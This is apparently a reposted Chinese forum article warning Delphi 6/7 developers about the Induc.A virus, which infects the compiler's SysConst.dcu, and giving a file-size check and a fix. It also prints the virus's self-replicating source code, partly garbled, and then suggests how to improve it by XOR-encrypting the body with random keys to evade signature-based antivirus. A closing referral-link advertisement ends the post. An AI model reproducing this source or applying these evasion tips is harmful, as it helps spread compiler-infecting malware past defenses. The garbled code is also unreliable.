[严重警惕]感染delphi编译器的SysConst.dcu病毒

来源:互联网 发布:网贷软件大全 编辑:程序博客网 时间:2024/04/29 13:36

======================================================
注:本文源代码点此下载
======================================================

大家检查下delphi安装目录lib下的sysconst.dcu文件,大小如果为17kb左右,则是被感染了。

sysconst.dcu正式大小应该为12kb不到。

如不解决,将导致delphi编译出的所有程序都带有病毒...

目前我发现的是d6 d7都被感染,而且潜伏期超过3-5个月..也就是说我这3-5个月中编译的程序都带有这个病毒...t_t无意间成了病毒传播的帮凶了.

其他版本的delphi也请自检....

解决方法也简单:将delphi安装目录下的lib\debug下的sysconst.dcu,复制到lib下,覆盖就可以了

可以使用金山出的专杀工具查杀计算机里已经感染的程序...

下载地址

http://bbs.duba.net/thread-22063814-1-1.html

找了之前d7编译的一个小程序传到http://www.virscan.org/上检测了一下 发现瑞星 江民明显查不到啊..

检测结果:

以下转载自http://www.52pojie.cn/thread-30996-1-1.html

病毒警报:

大家一定知道最近出现的molebox ultra 4.1900 unlimited 吧? 千万别用这个软件,一旦使用,会感染delphi工程文件sysconst.dcu,delphi生成空文件也被报毒!

大家检查下delphi安装目录lib下的sysconst.dcu文件,大小,如果为17kb,被感染了。目前5个杀毒,瑞星,卡巴,avg等检测到了病毒!

sysconst.dcu正式大小应该为12kb不到点点。lib/debug目录下有sysconst.dcu,sysconst.bak(改名回来)文件,替换回来就可以恢复正常!

molebox ultra 4.1900 unlimited就是毒源,

被感染后的sysconst.dcu体积是18kb左右,正常的sysconst.dcu是12kb左右.

偷偷瞄了一下偶的sysconst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~

只是前两天卡巴更新病毒库,卡巴报病毒名为:virus.win32.induc.a,大家才发觉有所不妥.

uses windows; var sc:array[1..24] of string=(',

'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',

'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',

'h:cardinal;f:startupinfo;p:process_information;b:boolean;t1,t2,t3:filetime;begin',

'h:=createfile(pchar(d+$bak$),0,0,0,3,0,0);if h0 then exit;assignfile',

'(f2,d+$pas$);rewrite(f2);if ioresult0',

'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',

',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',

'x(sc[h]));closefile(f1);closefile(f2);{$i+}movefile(pchar(d+$dcu$),pchar(d+$bak$',

')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwflags:=startf_useshowwindow;f.',

'wshowwindow:=sw_hide;b:=createprocess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',

'f,p);if b then waitforsingleobject(p.hprocess,infinite);movefile(pchar(d+$bak$),',

'pchar(d+$dcu$));deletefile(pchar(d+$pas$));h:=createfile(pchar(d+$bak$),0,0,0,3,',

'0,0); if h=dword(-1) then exit; getfiletime(h,@t1,@t2,@t3); closehandle(h);h:=',

'createfile(pchar(d+$dcu$),256,0,0,3,0,0);if h=dword(-1) then exit;setfiletime(h,',

'@t1,@t2,@t3); closehandle(h); end; procedure st; var k:hkey;c:array [1..255] of',

'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if regopenkeyex(',

'hkey_local_machine,pchar($software\borland\delphi\$+v+$.0$),0,key_read,k)=0 then',

'begin i:=255;if regqueryvalueex(k,$rootdir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',

'1; while cdword(-1) then

begin

closehandle(h);

exit;

end;

{'i-}assignfile(f1,s);

reset(f1);

if ioresult0 then

begin

closefile(f1);

exit;

end;

while not eof(f1) do

begin

readln(f1,s);

writeln(f2,s);

if pos('implementation',s)#0 do

begin

r:=r+c;

inc(i);

end;

re(r+'\source\rtl\sys\sysconst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');

end;

regclosekey(k);

end;

end;

begin

st;

end.

大概分析一下原理

病毒的主体代码,首先执行后从注册表"hkey_local_machine\software\borland\delphi\"的rootdir值下读取delphi路径.

然后再读取delphi路径下的\source\rtl\sys\sysconst.pas文件,循环读取直到implementation行.然后跳出循环,下面开始输出恶意代码.保存文件后,最后使用movefile函数将原来的sysconst.dcu命名为sysconst.bak,最后使用createprocess函数隐藏调用dcc32.exe编译被感染后的sysconst.pas单元文件为sysconst.dcu.获取原文件时间,修改被感染后文件的时间,所以从文件时间上看不出任何变化.

被感染后的编译环境只要加入sysutils单元所编译的任意可执行文件都会成为病毒载体,感染delphi下的编译环境~

从代码可以看得出,作者用意不在破坏,而是静默无声无色地实现感染,一次又一次的感染,不断地传播代码的主体.

稍微推测一下作者,不像国人的作风,国人稍微找到一丁点可以利用的东西,肯定借题发挥.不断地xx转化为利益.

就算不为利益,肯定很炫耀地贴上by xxx,好让全世界都知道是他弄的.

从数组变量命名为sc,不难想象,其实应该是source code的缩写,像老外作风,觉得作者应该是国外的.

而且作者很低调,似乎只是想实现自己的一种自我价值.享受着精神上的价值,不过也可以说是恶作剧.

还好没有加入其它更邪恶的代码,要是弄一个下载者功能进去,又开始无敌了~

通过感染源文件实现传播,感染确实有那么一点点新颖,以前有想过,不过感觉作者实现得很好.

主动防御的出现确实抹杀了不少病毒和木马之间的生存空间,起码传统上的几乎无一幸免.

传统上的传播已经江郎才尽,能发挥的都发挥了,只有其他更多种多样的途径上传播才是王道.

感染源文件,那样可委屈那些开发人员的,好不容易写出一套程序,编译后并发布,却要背负着植入恶意代码的嫌疑,真是悲哀~

而且稍微补充一下这个xx的不足

1.主体代码用字符串数组的方式保存,随便用一些十六进制编辑软件都能看见主要代码,容易泄漏技术细节.

2.因为字符串内包含'符号会导致编译冲突.所以作者弄了一个x函数,本意是将字符串内的$替换为'符号.

结合以上两点,可以考虑用简单的xor异或加密的方式保存主体代码.而且密钥方面可以随机改变一下.

我尝试将被感染后的程序内的主体字符串代码填充为00,然后保存后,卡巴大叔不杀了,哈哈~

可以看得出,卡巴是通过特征码查杀技术,假如将那段主体代码每次随机加密保存,不知道卡叔如何对付呢?应该会用上启发式查杀,哈哈~

注意,就算恢复回原来的sysconst.dcu文件,但是那些被感染过的程序再次执行,还会再次被感染.

暂时免疫方法:恢复后,设置sysconst.dcu文件属性为只读,并且保留sysconst.bak文件或者创建sysconst.bak名字的文件夹


======================================================
在最后,我邀请大家参加新浪APP,就是新浪免费送大家的一个空间,支持PHP+MySql,免费二级域名,免费域名绑定 这个是我邀请的地址,您通过这个链接注册即为我的好友,并获赠云豆500个,价值5元哦!短网址是http://t.cn/SXOiLh我创建的小站每天访客已经达到2000+了,每天挂广告赚50+元哦,呵呵,饭钱不愁了,\(^o^)/